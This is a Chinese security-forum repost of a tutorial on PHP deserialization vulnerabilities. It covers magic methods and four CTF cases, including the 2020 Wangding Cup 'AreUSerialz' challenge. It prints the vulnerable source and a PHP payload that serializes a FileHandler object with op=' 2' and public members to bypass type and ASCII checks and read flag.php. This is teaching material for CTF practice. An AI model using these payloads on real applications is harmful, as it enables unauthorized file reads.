安全矩阵

 找回密码
 立即注册
搜索
查看: 1221|回复: 0

WEB漏洞-反序列化之PHP&JAVA全解(上)

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2022-1-9 20:03:47 | 显示全部楼层 |阅读模式
原文链接:WEB漏洞-反序列化之PHP&JAVA全解(上)

思维导图



知识点
PHP反序列化
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候有可能触发对象中的一些魔术方法。
serialize() //将一个对象转换为一个字符串
unserialize() //将字符串还原成一个对象
触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
_construct() //创建对象时触发
_destruct() //对象被销毁时触发
_call() //在对象上下文中调用不可访问的方法时触发
_callStatic() //在静态上下文中调用不可访问的方法时触发
_get() //用于从不可访问的属性读取数据
_set() //用于将数据写入不可访问的属性
_isset() //在不可访问的属性上调用isset()或empty()触发
参考:https://www.cnblogs.com/20175211lyz/p/11403397.html

本课重点:
案例1:PHP反序列化热身题-无类问题-本地
案例2:CTF反序列化小真题-无类执行-实例
案例3:CTF反序列化练习题-有类魔术方法触发-本地
案例4:网鼎杯2020青龙大真题-有类魔术方法触发-实例
案例1:PHP反序列化热身题-无类问题-本地
案例演示1:认识序列化
PHP在线执行:http://www.dooccn.com/php/
  1. <?php
  2. $a = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');

  3. //序列化数组
  4. $s = serialize($a);
  5. echo $s;
  6. //输出结果:a:3:{s:1:"a";s:5:"Apple";s:1:"b";s:6:"banana";s:1:"c";s:7:"Coconut";}
  7. ?>
复制代码

案例演示2:本地实例源码:test.php
  1. <?php
  2. error_reporting(0);
  3. include "flag.php";
  4. $KEY = "xiaodi";
  5. $str = $_GET['str'];
  6. if (unserialize($str) === "$KEY")
  7. {
  8.     echo "$flag";
  9. }
  10. show_source(__FILE__);
  11. ?>


  12. 输入s:6:"xiaodi";成功拿到flag。
复制代码



案例2:CTF反序列化小真题-无类执行-实例
Bugku CTF题目:https://ctf.bugku.com/challenges\#flag.php
题目如下,提示hint

打开场景后,是个登录框

这个登录框没啥用,根据提示在url后面加?hint=111,系统返回源代码

审计源代码,发现反序列化漏洞。
​​
漏洞利用:
<1>使用php在线执行工具,将key序列化

<2>构造请求,将反序列化后的key放入cookie中,

<3>放行请求,发现并未返回flag。为什么呢?原因是源码这里有2个坑:

以下,将请求中的hint参数删除,并将cookie值改为序列化后的空值,放行请求,成功拿到flag。



案例3:CTF反序列化练习题-有类魔术方法触发-本地
测试代码
  1. <?php

  2. class ABC{
  3.     public $test;
  4.     function __construct(){
  5.         $test =1;
  6.         echo '调用了构造函数<br>';
  7.     }
  8.     function __destruct(){
  9.         echo '调用了析构函数<br>';
  10.     }
  11.     function __wakeup(){
  12.         echo '调用了苏醒函数<br>';
  13.     }
  14. }
  15. echo '创建对象a<br>';
  16. $a = new ABC;
  17. echo '序列化<br>';
  18. $a_ser=serialize($a);
  19. echo '反序列化<br>';
  20. $a_unser = unserialize($a_ser);
  21. echo '对象快要死了!';

  22. ?>

复制代码

在线执行结果

执行结果说明,
创建对象时,会默认调用__construct()方法,
反序列化时,会默认调用__wakeup()函数,
对象被销毁时,会默认调用__destruct()函数
案例4:网鼎杯2020青龙大真题-有类魔术方法触发-实例
案例:2020-网鼎杯-青龙组-Web-AreUSerialz
地址:https://www.ctfhub.com/#/challenge

进入场景后,显示如下代码

  1. <?php

  2. include("flag.php");

  3. highlight_file(__FILE__);

  4. class FileHandler {

  5.     protected $op;
  6.     protected $filename;
  7.     protected $content;

  8.     function __construct() {
  9.         $op = "1";
  10.         $filename = "/tmp/tmpfile";
  11.         $content = "Hello World!";
  12.         $this->process();
  13.     }

  14.     public function process() {
  15.         if($this->op == "1") {
  16.             $this->write();
  17.         } else if($this->op == "2") {  //弱类型判断,仅判断数值,op 赋值数字2或字符串' 2'也成立
  18.             $res = $this->read();
  19.             $this->output($res);
  20.         } else {
  21.             $this->output("Bad Hacker!");
  22.         }
  23.     }

  24.     private function write() {
  25.         if(isset($this->filename) && isset($this->content)) {
  26.             if(strlen((string)$this->content) > 100) {
  27.                 $this->output("Too long!");
  28.                 die();
  29.             }
  30.             $res = file_put_contents($this->filename, $this->content);
  31.             if($res) $this->output("Successful!");
  32.             else $this->output("Failed!");
  33.         } else {
  34.             $this->output("Failed!");
  35.         }
  36.     }

  37.     private function read() {
  38.         $res = "";
  39.         if(isset($this->filename)) {
  40.             $res = file_get_contents($this->filename);
  41.         }
  42.         return $res;
  43.     }

  44.     private function output($s) {
  45.         echo "[Result]: <br>";
  46.         echo $s;
  47.     }

  48.     function __destruct() { //析构函数,销毁类时执行,也就是在最后执行
  49.         if($this->op === "2")  //强类型比较,判断数值+类型,可以使用数字2或字符串' 2'绕过判断
  50.             $this->op = "1";
  51.         $this->content = "";
  52.         $this->process();
  53.     }

  54. }

  55. function is_valid($s) {
  56.     for($i = 0; $i < strlen($s); $i++)
  57.         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
  58.             return false;
  59.     return true;
  60. }

  61. if(isset($_GET{'str'})) {

  62.     $str = (string)$_GET['str'];
  63.     if(is_valid($str)) {
  64.         $obj = unserialize($str); //反序列化,所以要先序列化。
  65.     }

  66. }
复制代码


首先由ctf命名及代码函数unserialize判断本题考察反序列化知识点
第一:获取flag存储flag.php
第二:两个魔术方法__destruct __construct
第三:传输str参数数据后触发destruct,存在is_valid过滤
第四:__destruct中会调用process,其中op=1写入及op=2读取
第五:涉及对象FileHandler,变量op及filename,content,进行构造输出
涉及:反序列化魔术方法调用,弱类型绕过,ascii绕过
弱类型绕过
使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)。
__destruct函数中if(this>op==="2")码,对op进行了===判断(强类型)并且op值为字符串2时会赋值为1process函数中if( this−>op==="2")代码,对op进行了===判断(强类型)并且op值为字符串2时会赋值为1,process函数中if( this->op == "2")代码,使用==判断(弱类型)(op值为2的情况下才能读取内容),
因此这里存在弱类型比较,可以使用数字2或字符串' 2'绕过判断。
ascii绕过
is_valid函数还对序列化字符串进行了校验。
因为PHP序列化的时候,若成员被private和protected修饰,会引入不可见字符\x00,这些字符对应的ascii码为0,这是个ASCII不在32到125之间的字符,经过is_valid函数以后会返回false,导致无法执行到反序列函数。
经过测试,在PHP7.2+的环境中,使用public修饰成员并序列化,反序列化后成员也会被public覆盖修饰。因此可以改成public来绕过is_valid函数校验。
payload:
  1. <?php
  2. class FileHandler{
  3.   public $op=' 2';//源码告诉我们op为1时执行写入,op为2时执行读取
  4.   public $filename="flag.php";//文件开头调用的是flag.php
  5.   public $content="xd";
  6. }
  7. $flag = new FileHandler();
  8. $flag_1 = serialize($flag);
  9. echo $flag_1;
  10. ?>
复制代码



先序列化

传参,成功拿到flag。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 19:25 , Processed in 0.013351 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表